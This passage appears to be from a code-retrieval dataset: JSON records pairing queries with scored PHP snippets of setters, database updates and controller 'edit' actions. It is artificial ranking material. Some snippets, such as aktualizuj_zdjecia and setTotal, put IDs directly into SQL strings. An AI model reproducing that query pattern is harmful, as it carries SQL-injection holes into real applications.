$request->total_below_10; \n $tableEntity->emergency_contact_no = $request->emergency_contact_no; \n $tableEntity->nationality = $request->nationality; \n\n $tableEntity->save();\n return redirect()->route('admin.household.index')->withFlashSuccess(__('The household was successfully updated.'));\n }", "title": "" }, { "docid": "415b2ab2565d6414a573c29568fac68f", "score": "0.41537842", "text": "public function set_calificacionEdad_juego($iId, $iCalificacionEdad){\n $data = array('CalificacionEdad' => $iCalificacionEdad);\n $this->db->where('id', $iId);\n $this->db->update('Juego', $data);\n }", "title": "" }, { "docid": "0ed113fb96967793e355c2ee80c5e14d", "score": "0.41483667", "text": "public function setHAZARDOUS($hAZARDOUS)\n {\n $this->hAZARDOUS = $hAZARDOUS;\n return $this;\n }", "title": "" }, { "docid": "9830ccc53e706949a66af76702bd2d04", "score": "0.4144731", "text": "public function setOehdcheckamt($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdcheckamt !== $v) {\n $this->oehdcheckamt = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDCHECKAMT] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "e2cd293658e01b3f77f08b3cda4c4b1f", "score": "0.4136912", "text": "public function setCedcon($cedcon){\n\t\t$this->cedcon = $cedcon;\n\t}", "title": "" }, { "docid": "ff467f8e7bdfc474cbef05058ee17376", "score": "0.41358098", "text": "function setObjId($obj_id = 0)\n\t{\n\t\t$this->obj_id = $obj_id;\n\t}", "title": "" }, { "docid": "6e4bad877b7ba1032e05baf6312772af", "score": "0.41263017", "text": "function aktualizuj_zdjecia($id) {\n $link = DBConnect();\n\n $sql7 = \"UPDATE `gk-geokrety` gk SET zdjecia =\n\t\t(SELECT count(*) FROM `gk-obrazki` ob WHERE ob.id_kreta = '$id')\n\t\tWHERE id='$id'\";\n $result7 = mysqli_query($link, $sql7);\n}", "title": "" }, { "docid": "379bd5720cde9452c02e2e65be7afbaf", "score": "0.41253245", "text": "public function set_cadena($cadena)\n\t{\n\t\t$this->cadena.=$cadena;\n\t}", "title": "" }, { "docid": "d21c5d8628dfd75e3e6ab2240fbe2271", "score": "0.41203234", "text": "public function setGearchiveerd($v)\r\n\t{\r\n\r\n\t\t// Since the native PHP type for this column is integer,\r\n\t\t// we will cast the input value to an int (if it is not).\r\n\t\tif ($v !== null && !is_int($v) && is_numeric($v)) {\r\n\t\t\t$v = (int) $v;\r\n\t\t}\r\n\r\n\t\tif ($this->gearchiveerd !== $v || $v === 0) {\r\n\t\t\t$this->gearchiveerd = $v;\r\n\t\t\t$this->modifiedColumns[] = BriefTemplatePeer::GEARCHIVEERD;\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "4e1b2bf03d68d6d64d5a30c662d2ac5b", "score": "0.4118088", "text": "public function setTotal($idHouse){\n $date1 = new DateTime($this->start_d);\n $date2 = new DateTime($this->final_date);\n $diff = $date1->diff($date2);\n $days = $diff->days;\n $con = Conexion::connect();\n $stmt = $con->prepare(\"SELECT price_pn FROM houses where idhouses='$idHouse'\");\n $stmt->execute();\n $price = $stmt->fetchColumn();\n //calc total\n $total = $price * $days;\n $this->total = $total; \n }", "title": "" }, { "docid": "f5dfde9aef2d5ab7021154cb740a09ae", "score": "0.41160062", "text": "public function setIdteatro($idteatro)\n {\n $this->idteatro = $idteatro;\n }", "title": "" }, { "docid": "804e04f9aed95e9baceea8ba167fa4ec", "score": "0.41141817", "text": "public function set_aluno(aluno $object)\n {\n $this->aluno = $object;\n $this->aluno_id = $object->id;\n }", "title": "" }, { "docid": "d879ab4633ceee5e59acf4b5ba98792e", "score": "0.41102746", "text": "public static function set_display_aid($aid, $index, $new_photoid) {\n\t\t\t$display_array = explode(\",\", self::get_display_aid($aid));\n\t\t\t$display_array[$index] = $new_photoid;\n\t\t\t$display = implode(\",\", $display_array);\n\t\t\t$mysqli = MysqlInterface::get_connection();\n\t\t\t$stmt = $mysqli->stmt_init();\n\t\t\t$stmt->prepare('UPDATE album2display SET display=? WHERE aid=?;');\n\t\t\t$stmt->bind_param('si', $display, $aid);\n\t\t\t$stmt->execute();\n\n\t\t\t$stmt->close();\n\t\t\treturn 0;\n\t\t}", "title": "" }, { "docid": "231c7acb317c45dfa58e5e018ae7ac63", "score": "0.41099703", "text": "public function setOehdtotdisc($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdtotdisc !== $v) {\n $this->oehdtotdisc = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDTOTDISC] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "138da730ec71c3d2841f7dba1c1780e4", "score": "0.41015404", "text": "function update($id, $hall, $duration){\r\n $stmt = $this->conn->prepare(\"UPDATE shows SET duration = :duration, hall = :hall WHERE id = :id\");\r\n $stmt->execute(['duration' => $duration, 'hall' => $hall, 'id' => $id]);\r\n }", "title": "" }, { "docid": "5d11b270bad6de60c80b8813c1e817a5", "score": "0.4101044", "text": "public function setOehdnbr($v)\n {\n if ($v !== null) {\n $v = (int) $v;\n }\n\n if ($this->oehdnbr !== $v) {\n $this->oehdnbr = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDNBR] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "bc67043a91c21a0f4edb1c9f1fd94ca3", "score": "0.4100672", "text": "public function setID($_id)\n\t{\n\t\t$this->_id = $_id;\n\t}", "title": "" }, { "docid": "8f9a7c1f2921da6a38cd529f88ea762d", "score": "0.4098622", "text": "public function setOehdpickcode($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdpickcode !== $v) {\n $this->oehdpickcode = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDPICKCODE] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "439acf260e04b7d5400963cef441f02b", "score": "0.4098409", "text": "public function setWareHouseIdAttribute($input)\n {\n $this->attributes['ware_house_id'] = $input ? $input : null;\n }", "title": "" }, { "docid": "49d96cdea78264899f09386b992edf82", "score": "0.40967038", "text": "public function putForceBlue($id) {\n\t\t\t$holdingsset_id = Input::get('holdingsset_id');\n\t\t\t$holding = Holding::find($id);\n\t\t\t$auxptrnOriginal = $holding->aux_ptrn;\n\t\t\t$aux = str_replace('1', '0', $auxptrnOriginal);\n\t\t\t$was_oner = (($holding->is_owner == '1') || ($holding->is_owner == 't')) ? true : false;\n\t\t\t$holding->update(['is_aux'=>'f', 'is_owner'=>'f', 'force_blue'=>'t', 'aux_ptrn' => $aux]);\n\t\t\tif ($was_oner) holdingsset_recall($holdingsset_id);\n\t\t\t$holdingssets[] = Holdingsset::find($holdingsset_id);\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => $holdingssets]);\n\t\t\treturn $newset;\n\t\t}", "title": "" }, { "docid": "248e6e6766ace0b66a3c17865c6f5832", "score": "0.40960747", "text": "public function maakEscalatie()\n {\n $escalatie = $_POST['escalatie'];\n $id = $_POST['ticket_id'];\n\n $sql = 'UPDATE `tickets` SET\n `escalatie`=:escalatie\n WHERE `id`=:id';\n $stmnt = $this->db->prepare($sql);\n $stmnt->bindParam(':escalatie', $escalatie);\n $stmnt->bindParam(':id', $id);\n $stmnt->execute();\n }", "title": "" }, { "docid": "03f890c034786dfc7312307694b397be", "score": "0.40933555", "text": "public function setIdEstuche($idEstuche) {\n\t\t$this->idEstuche = $idEstuche;\n\t}", "title": "" }, { "docid": "5967211c88b938964eaa3ce6cf551368", "score": "0.40915564", "text": "function set_excdayuds($user, $pass, $excdayudsid, $doorid, $excday){\n\tglobal $config;\n\t$payload_obj = new stdClass();\n\t$payload_obj->doorId= $doorid;\n\t$payload_obj->excDay= $excday;\n\t$response=send_request($config->api_fullpath.\"excdayuds/$excdayudsid\",$user,$pass,\"put\",json_encode($payload_obj));\n\tif($response->response_status != \"200\") return false;\n\telse return $response->data;\n}", "title": "" }, { "docid": "0e11f89f417e4193d15a2b569fd4acb4", "score": "0.40871584", "text": "public function setOwnerId($ownerId)\n\t{\n\t\t$this->ownerId = $ownerId;\n\t}", "title": "" }, { "docid": "7bdbc0fdede8f50427f673083fb5ce51", "score": "0.40857637", "text": "function setCusId($cusId)\n\t{\n\t\t$this->cusId = $cusId;\n\t}", "title": "" }, { "docid": "b36b73bad180c6f5ef7de782a03811dd", "score": "0.40846336", "text": "public function hold(bool $hold) {\n $this->hold = $hold;\n }", "title": "" } ]
313ff7705d4e87750b2cd162f3a73639
Show the form for editing the specified resource.
[ { "docid": "edd25ed796987ef34425f9dfa3773d27", "score": "0.0", "text": "public function edit($id)\n {\n $qurban = Qurban::findOrFail($id);\n return view('dashboard.qurban.edit', compact('qurban'));\n }", "title": "" } ]
[ { "docid": "ba00ae66e85d515739d2e3ad614735cb", "score": "0.78925306", "text": "public function edit(Resource $resource) {\n return view('admin.resources.update', [\n 'resource' => $resource,\n ]);\n }", "title": "" }, { "docid": "6f20a1779e33227cfc4451ace6ab29af", "score": "0.76994777", "text": "public function edit(resource $resource)\n {\n //\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.7692893", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "1d94403d2acd74d9393297956ff20089", "score": "0.76159143", "text": "function edit()\n {\n $this->_form('edit');\n }", "title": "" }, { "docid": "8036d8b9819aa701c22431a726cf0650", "score": "0.7225169", "text": "public function editAction()\n {\n $page = $this->_helper->db->findById();\n $form = $this->_getForm($page);\n $this->view->form = $form;\n $this->_processFieldForm($page, $form, 'edit');\n }", "title": "" }, { "docid": "c99eb92b2f68bf84003855d0f37cad8c", "score": "0.710558", "text": "public function edit($id)\n\t{\n\t\t$resource = Resources::find($id);\n\t\tif (is_null($resource))\n\t\t{\n\t\t\treturn Redirect::route('secureadmin.resources.index');\n\t\t}\n\t\treturn View::make('secureadmin.resources.edit', compact('resource'));\n \n\t}", "title": "" }, { "docid": "7baaec18e51362dc6376494a199472cb", "score": "0.70405304", "text": "public function edit($id)\n {\n if (is_null($this->resource)) {\n return view('admin.errors.unresolved-resource');\n }\n\n $className = Manager::getResourceClass($this->resource);\n\n $model = $className::find($id);\n\n if (is_null($model)) {\n return view('admin.errors.inexistent-model');\n }\n\n return view(Manager::resolveResourceView($this->resource, 'edit'), [\n 'resource' => $this->resource,\n 'model' => $model,\n 'action' => 'update',\n 'token' => csrf_token()\n ]);\n }", "title": "" }, { "docid": "a31e023b1fc8db49c8ba300ea164e563", "score": "0.70403826", "text": "public function editAction()\n {\n $term = $this->_helper->db->findById();\n $this->view->form = $this->_getForm($term);\n $this->_processPageForm($term, 'edit');\n }", "title": "" }, { "docid": "5a02684925f991ee39abcb153d80d058", "score": "0.7008457", "text": "public function edit()\r\n {\r\n return view('hr::edit');\r\n }", "title": "" }, { "docid": "f457a7aac87ab5b3de5b0f6358698582", "score": "0.69509447", "text": "public function edit(Form $form)\n {\n \n }", "title": "" }, { "docid": "38b4c2bcc5d6f933f82442e502068ae3", "score": "0.6945275", "text": "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "title": "" }, { "docid": "de51e28e1cd4ca0b702510f31a890083", "score": "0.689038", "text": "function edit_quiz_resource($id_quiz_resource) {\n if (!$this->ion_auth->logged_in()) {\n redirect();\n } else {\n $temp = $this->model_quiz->select_quiz_resource_by_id($id_quiz_resource)->row();\n $data['title'] = $temp->title;\n $data['description'] = $temp->description;\n $data['show'] = $temp->show;\n $data['id_quiz_resource'] = $id_quiz_resource;\n\n $this->load->view('quiz/form_edit_quiz_resource', $data);\n }\n }", "title": "" }, { "docid": "817360c379f8b1ec2b8f9a122de58d2d", "score": "0.6866698", "text": "function edit(){\n\t\t$id = $this->input->get('id');\n\t\t$data = array();\n\t\t$data['title']\t\t= 'Edit '.$this->title;\n\t\t$data['controller']\t= $this->controller;\n\t\t$data['state']\t\t= 'edit';\n\t\t$data['id'] \t\t= $id;\n\n\t\t// because it's simple index and form, use common form\n\t\t$data['table_field'] = $this->ipk->table_field;\n\t\t$data['primary_key'] = $this->ipk->primary_key;\n\t\t$data['content']\t= 'content/common/form';\n\t\t$data['datas'] = $this->ipk->get(decrypt_id($id));\n\n\t\t$data['datas'] = $this->ipk->reformat_sql_to_form($data['datas']);\n\n\t\t$this->template($data);\n\t}", "title": "" }, { "docid": "6c233bfe3c56ffa57401216d102fe97a", "score": "0.68561065", "text": "public function edit($id)\n {\n $this->show($id);\n }", "title": "" }, { "docid": "a695b4f4340bb78a765476c7a7b02c4c", "score": "0.68351203", "text": "public function edit()\n {\n return view('clientapp::edit');\n }", "title": "" }, { "docid": "8fc05e7ee75d6832d8a160b41adfb194", "score": "0.68317634", "text": "public function editAction(){\n return $formResponse = $this->FormManager()->process(\n $this,\n new \\ZendCommerce\\Common\\Model\\FormOperation(\n $this->getFormOperationDefinition()\n )\n );\n }", "title": "" }, { "docid": "c4d03e67f990c37b8eb676c851ca4a4d", "score": "0.6828954", "text": "public function edit($id)\n {\n $item = \\App\\Form::find($id);\n return view('admin.form.edit',[\n 'item' => $item,\n ]);\n }", "title": "" }, { "docid": "7a371c130868901633e4849cba486699", "score": "0.6817995", "text": "public function edit($id)\n\t{\n\t\t$product = Product::find($id);\n if (is_null ($product)) {\n App::abort(404);\n }\n return View::make('business/products/form')->with('product', $product);\n\t}", "title": "" }, { "docid": "4ef09bf2e2f9d9322bedfcd1819a1801", "score": "0.68096733", "text": "public function editAction() {\n $id = filter_input(INPUT_POST, 'o_id');\n $product = Object_Abstract::getById($id);\n $this->view->product = $product;\n }", "title": "" }, { "docid": "a7f6bb1c17e099bebaaeaa8fa4992420", "score": "0.6796394", "text": "public function edit($id) {\n $object = Entity::findOrFail($id);\n return View::make('admin.' . $this->path . '.edit')->with('object', $object);\n }", "title": "" }, { "docid": "231882e93a58215aa3b11a974a66292d", "score": "0.6791791", "text": "public function edit()\n {\n return view('admin::edit');\n }", "title": "" }, { "docid": "231882e93a58215aa3b11a974a66292d", "score": "0.6791791", "text": "public function edit()\n {\n return view('admin::edit');\n }", "title": "" }, { "docid": "8556aaf7cff24f5e410f81955fa32806", "score": "0.67885596", "text": "public function edit()\n {\n return view('spk::edit');\n }", "title": "" }, { "docid": "6c1f157ed1e542e35be21641e6fe4291", "score": "0.6784743", "text": "public function edit(Entity $entity)\n\t{\n\t\treturn view( 'entities.edit', compact( 'entity' ) );\n\t}", "title": "" }, { "docid": "9341e591311afec65c0cf3045ad076a9", "score": "0.6760332", "text": "public function edit($identifier)\n {\n if ($this->permissions['update'] != '' && !\\Auth::user()->hasPermissionTo($this->permissions['update'])) {\n flash(trans('core::core.you_dont_have_access'))->error();\n return redirect()->route($this->routes['index']);\n }\n\n $repository = $this->getRepository();\n\n $entity = $repository->find($identifier);\n\n $this->entity = $entity;\n\n if (empty($entity)) {\n flash(trans('core::core.entity.entity_not_found'))->error();\n\n return redirect(route($this->routes['index']));\n }\n\n if ($this->blockEntityOwnableAccess()) {\n flash(trans('core::core.you_dont_have_access'))->error();\n return redirect()->route($this->routes['index']);\n }\n\n $updateForm = $this->form($this->formClass, [\n 'method' => 'PATCH',\n 'url' => route($this->routes['update'], $entity),\n 'id' => 'module_form',\n 'model' => $entity\n ]);\n\n $updateView = $this->views['edit'];\n\n $this->entity = $entity;\n\n $view = view($updateView);\n $view->with('form_request', $this->storeRequest);\n $view->with('entity', $entity);\n $view->with('show_fields', $this->showFields);\n $view->with('sectionButtons', $this->sectionButtons);\n\n\n $view->with('form', $updateForm);\n\n return $view;\n }", "title": "" }, { "docid": "c41a659c6811677b0b43a9144fd42379", "score": "0.67602247", "text": "public function edit($id)\n\t{\n\t\t$project = Project::find($id);\t\t\t\t\t\n\t\treturn View::make('project.form')->with('project', $project);\t\t\t\t\t\t\t\t\t\t\n\t}", "title": "" }, { "docid": "5d7bee078a1572f61b7e28dcc2ac5c36", "score": "0.6753478", "text": "public function edit($id)\n {\n $user = auth()->user();\n\n $id = Crypt::decrypt($id);\n\n $form = Form::where(['user_id' => $user->id, 'id' => $id])->firstOrFail();\n\n $pageTitle = 'Edit Form';\n\n $saveURL = route('formbuilder::forms.update', $form);\n\n // get the roles to use to populate the make the 'Access' section of the form builder work\n $form_roles = Helper::getConfiguredRoles();\n\n return view('Forms.edit', compact('form', 'pageTitle', 'saveURL', 'form_roles'));\n }", "title": "" }, { "docid": "af1ae147b46a5dbc0c8b9ec58527eeb0", "score": "0.67458534", "text": "public function edit()\n {\n return view('catalog::edit');\n }", "title": "" }, { "docid": "057b48bb7cf2107466c426e2c9e428fe", "score": "0.67443407", "text": "public function edit(form $form)\n {\n //\n }", "title": "" }, { "docid": "6c156cf995c4d50636dfb4550651518b", "score": "0.6741543", "text": "public function edit()\n {\n return view('purchaserequest::edit');\n }", "title": "" }, { "docid": "444f98d0090cda3d8ec6a32c569483fe", "score": "0.6730375", "text": "public function edit()\n {\n return view('item::edit');\n }", "title": "" }, { "docid": "a18df7fa246cdc38054b7905a9bcfb6f", "score": "0.6729538", "text": "public function edit($id) {\n\n $checkrights = \\App\\Models\\Admin::checkPermission(\\App\\Models\\Admin::$EDIT_CRON);\n\n if ($checkrights) {\n return $checkrights;\n }\n\n $formObj = $this->modelObj->find($id);\n\n if (!$formObj) {\n abort(404);\n }\n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \" . $this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText . \".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\";\n\n return view($this->moduleViewName . '.add', $data);\n }", "title": "" }, { "docid": "9b1fce8c32438e8cd4b5e3dd43e195df", "score": "0.67287934", "text": "public function edit()\n {\n return view('partner::edit');\n }", "title": "" }, { "docid": "5c67586ee68b758ffb35f2cbc6d5b38a", "score": "0.6722741", "text": "public function edit($id)\n {\n //@todo here and the view\n }", "title": "" }, { "docid": "36e81b336316946d6eebd6bc3678ef52", "score": "0.67227334", "text": "public function edit($id)\r\n {\r\n return view('superadmin::edit');\r\n }", "title": "" }, { "docid": "23dadaa6b2b77d4862c924bed4317349", "score": "0.67179763", "text": "public function edit($id)\n\t{\n\t\t$item = $this->object->with($this->relations)->where('id', $id)->firstOrFail();\n\n\t\tFormer::populate($item);\n\t\tFormer::withRules($this->getRules());\n\n\t\treturn View::make('conferencer::admin.' .$this->namespace. '.create')\n\t\t\t->with('item', $item);\n\t}", "title": "" }, { "docid": "8524a51e55f52d742bd04ba646a0cc54", "score": "0.6714537", "text": "public function edit($id)\n\t{\n\t\treturn view('angular.field.edit')->with('field', Field::find($id));\n\t}", "title": "" }, { "docid": "b3a17e5117200de0a9bc5597a7a160d5", "score": "0.6713015", "text": "public function edit($id) {\n return view('frontend.'.$this->folder.'.edit');\n }", "title": "" }, { "docid": "6c5ab41883f9c63e9d204b41b416cfbe", "score": "0.6704505", "text": "public function editForm() {\n\t\t$layout = $this->input->get('layout', null, 'string');\n\t\t$nameModelForm = (empty($layout)) ? $this->nameKey.'form' : $layout.'form';\n\t\t$layout = (empty($layout)) ? 'edit' : 'edit_'.$layout; //EcDebug::log($layout, __method__);\n\t\t$view = $this->getView($this->default_view, \n\t\t\tJFactory::getDocument()->getType(), '', array('layout' => $layout));\n\t\t$view->setModel($this->getModel($this->nameKey));\n\t\t$view->setModel($this->getModel($nameModelForm));\n\t\t$view->editForm();\n\t}", "title": "" }, { "docid": "ec8462a847e6da7c744621b95e55e354", "score": "0.66868746", "text": "public function edit($id)\n\t{\n\t\t$formMode = GlobalsConst::FORM_EDIT;\n\t\t$user = User::find($id);\n\t\treturn View::make('users.edit')->nest('_form','users.partials._form',compact('formMode','user'));\n\t}", "title": "" }, { "docid": "c674456a3a2c3e7eaae1d581b5193627", "score": "0.6680759", "text": "public function edit($id)\n\t{\n\t\t$entity = Umbrella::find($id);\n\t\treturn view('partner.umbrella.edit', ['entity' => $entity]);\n\t}", "title": "" }, { "docid": "ac8f085fa840d486f8d59d14411a0385", "score": "0.6671578", "text": "public function edit(Form $form)\n {\n return view('iforms::admin.forms.edit', compact('form'));\n }", "title": "" }, { "docid": "4cff7330fb7639f41f48bfd168776ed8", "score": "0.66628605", "text": "public function editAction()\n {\n $search = $this->_helper->db->findById();\n $this->view->form = $this->_getForm($search);\n $this->_processCatalogSearchForm($search, 'edit');\n }", "title": "" }, { "docid": "fa330dea11d4ceb5de51306745584597", "score": "0.66627544", "text": "public function edit($id)\n {\n $this->checkRole();\n\n //\tGet the model instance\n $model = $this->getModelInstance($id);\n\n //\tGet all the fields wich will be shown in the edit form\n $fields = new RenderDetail($this->getFieldsForEdit());\n\n //\tRender the view\n return view('crud::templates.edit', $this->parseViewData(compact('model', 'fields')));\n }", "title": "" }, { "docid": "c23aa59da02ffaff80b50d5fe993ac20", "score": "0.6659486", "text": "public function edit($id)\n {\n $record = Parentt::find($id);\n return view('studentAffairs\\student\\create&edit_student', compact('record'));\n }", "title": "" }, { "docid": "1e640024572be6feda125ecd9457ecd2", "score": "0.6656961", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('AVBundle:Reto')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Reto entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('AVBundle:Reto:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "104ea06ce41e3f1bf43db0097da1535b", "score": "0.66534835", "text": "public function editAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$id = $this->_request->getParam('id'); \n\t\t$this->view->data = $model->getContent($id);\n\t }", "title": "" }, { "docid": "d33a07845d905f66518d6d6763c5bac0", "score": "0.66493237", "text": "public function editAction($id)\n {\n \n\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('SrpvProtocolizacionBundle:Oficina')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Oficina entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('SrpvAdminBundle:Oficina:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "28b5f6da3a8cb9d992528f53b99c70ae", "score": "0.66453767", "text": "public function editAction($id)\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = $em->getRepository('fidiEcommerceBundle:Promo')->find($id);\r\n if (!$entity) {\r\n throw $this->createNotFoundException('Entité évènement non trouvée.');\r\n }\r\n $editForm = $this->createEditForm($entity);\r\n $deleteForm = $this->createDeleteForm($id);\r\n return $this->render('fidiEcommerceBundle:Administration:Promo/layout/edit.html.twig', array(\r\n 'entity' => $entity,\r\n 'edit_form' => $editForm->createView(),\r\n 'delete_form' => $deleteForm->createView(),\r\n ));\r\n }", "title": "" }, { "docid": "13bb58ad7c61c9444df16430ac8bde95", "score": "0.6643475", "text": "public function edit($id)\n {\n //\n $url = \"program_update\";\n $program = Program::where('id_program', $id)->first();\n return view('master.program.form', compact('program', 'url'));\n }", "title": "" }, { "docid": "7aad47d22925f5965c8ba3723cf17bc6", "score": "0.6642779", "text": "public function edit()\n\t {\n\t \t\t$clientID = Input::get('clientID');\n\t \t\treturn View::make('edit.update');\n\t }", "title": "" }, { "docid": "56e8e9b08c0406905beb3036122cd7af", "score": "0.6642529", "text": "public function edit()\n {\n return view('home::edit');\n }", "title": "" }, { "docid": "726fbec6ca5fcc7025d5ad34f1a23ae4", "score": "0.6629145", "text": "public function edit($id)\n\t{\n\t\treturn $this->view('product.edit', []);\n\t}", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627662", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627662", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "728e06e03d9c69b99cb774080f4aeedc", "score": "0.66245055", "text": "public function edit($id)\n {\n \t$decode = Hashids::decode($id)[0];\n $recipe = Recipe::find($decode);\n\n $formAction = action('RecipeController@update', $id);\n return view(\"backend/recipes/form\", compact('recipe', 'formAction'));\n }", "title": "" }, { "docid": "ba226cc5cbe521fc1ec6d9737f556687", "score": "0.6618384", "text": "public function edit(Entity $entity)\n {\n return view('actions.entity.edit', compact('entity'));\n }", "title": "" }, { "docid": "472228351e7887542be13d4c2080e6b7", "score": "0.66133475", "text": "public function actionEdit()\n {\n return $this->render('index');\n }", "title": "" }, { "docid": "ed2b2f4ad09fa837c01addc64ae2c574", "score": "0.66119885", "text": "public function edit($id)\n {\n //\n\n $book = Book::find($id);\n return view('kelola_buku.form_edit',compact('book'));\n\n }", "title": "" }, { "docid": "66837fc9fc0ee5928b83285bf597aa8d", "score": "0.66094923", "text": "public function edit($id)\n\t{\n // get the show\n\t\t$show = Show::find($id);\n\n\t\t// show the edit form and pass the nerd\n\t\treturn View::make('shows.edit')\n\t\t\t->with('show', $show);\n\t}", "title": "" }, { "docid": "035eb13b2ca5fd52c8005c0d17b6d221", "score": "0.66086483", "text": "public function edit()\n {\n return view('dashboard::edit');\n }", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "4a58f356a8d049651b8ab4fb9678c3e0", "score": "0.6606224", "text": "public function edit($id)\n {\n $className = $this->modelClass;\n $model = $className::findOrFail($id);\n \n return view('admin.update')\n ->with('pageTitle', $this->pageTitle)\n ->with('secondTitle', $this->secondTitle)\n ->with('updateTitle', $this->updateTitle)\n ->with('urlName', $this->urlName)\n ->with('fields', $this->fields)\n ->with('model', $model);\n }", "title": "" }, { "docid": "4c5588355977302054cfd9b100838cb9", "score": "0.6604102", "text": "public function edit($id)\n {\n\t\t$sRow = \\App\\Models\\Master\\SMD\\Owner::find($id);\n\t\treturn view('Master.SMD.owner_form')->with( array('sRow'=>\t$sRow, 'sShow'=> false) );\n }", "title": "" }, { "docid": "dfbae1c76e8376876e167bfdda34a588", "score": "0.66006404", "text": "public function edit($entity);", "title": "" }, { "docid": "087b45daa3af8c19f727d1f3385fe015", "score": "0.6599998", "text": "public function showEdit($id) {\n //\n }", "title": "" }, { "docid": "2a47ad7ce79b806f24d1a15c7fc9c440", "score": "0.6596694", "text": "public function edit($id)\n {\n return view('frontend::edit');\n }", "title": "" }, { "docid": "8259db386503d6eae96505af980a406f", "score": "0.6596149", "text": "public function edit()\n {\n return view('basajax::edit');\n }", "title": "" }, { "docid": "8cb14fe6247e5b9988a5ac22e2f4f5db", "score": "0.65937626", "text": "public function edit()\n {\n return view('page::edit');\n }", "title": "" }, { "docid": "740a6ee4ee5d75e1d22a5d50c92d7a7d", "score": "0.65910506", "text": "public function edit()\n {\n // will be shown by angular\n }", "title": "" }, { "docid": "e77b4a1d450f192da67f95bae41d70d2", "score": "0.65879726", "text": "public function edit()\n {\n return view('shopify::edit');\n }", "title": "" }, { "docid": "34a5f2387b26650a994b3549c4251646", "score": "0.65837616", "text": "protected function editAction()\n {\n $this->editAction\n ->setAccess($this, Access::CAN_EDIT)\n ->execute($this, UserEntity::class, UserActionEvent::class, NULL, __METHOD__, [], ['user_id' => $this->thisRouteID()])\n ->render()\n ->with(['user' => $this->toArray($this->findOr404())])\n ->form($this->formUser)\n ->end();\n }", "title": "" }, { "docid": "4ee5eaeb20875ab52fdae081c9bf480a", "score": "0.65796983", "text": "public function edit($id){\n return $this->model->getForm('edit', $id);\n }", "title": "" }, { "docid": "c2b3a157b59989df8794ae251941ad58", "score": "0.6577999", "text": "public function edit($id)\n {\n $project = Project::withTrashed()->where('id', $id)->first();\n $form = new AdministrationForm();\n $form->route(Administration::route('projects.update', $project->id));\n $form->form(ProjectForm::class);\n $form->model($project);\n $form->method('PUT');\n\n Breadcrumbs::register('administration', function ($breadcrumbs) {\n $breadcrumbs->parent('base');\n $breadcrumbs->push(trans('projects::admin.module_name'), Administration::route('projects.index'));\n $breadcrumbs->push(trans('administration::admin.edit'));\n });\n\n Administration::setTitle(trans('projects::admin.module_name') . ' - ' . trans('administration::admin.edit'));\n\n return $form->generate();\n }", "title": "" }, { "docid": "e3ab1d1abd4a651c9d5aa4d8d1dfb2b4", "score": "0.65742147", "text": "public function edit($id) {\n\t\t//\n\t\t$this->product = $this->product->find($id);\n\t\treturn View::make('products.edit')->withProduct($this->product);\n\t}", "title": "" }, { "docid": "bf3f13b2122423abdd69599faa2c05bb", "score": "0.6573075", "text": "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('FundeuisEducacionBundle:Programaacademico')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Programaacademico entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('FundeuisEducacionBundle:Programaacademico:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n 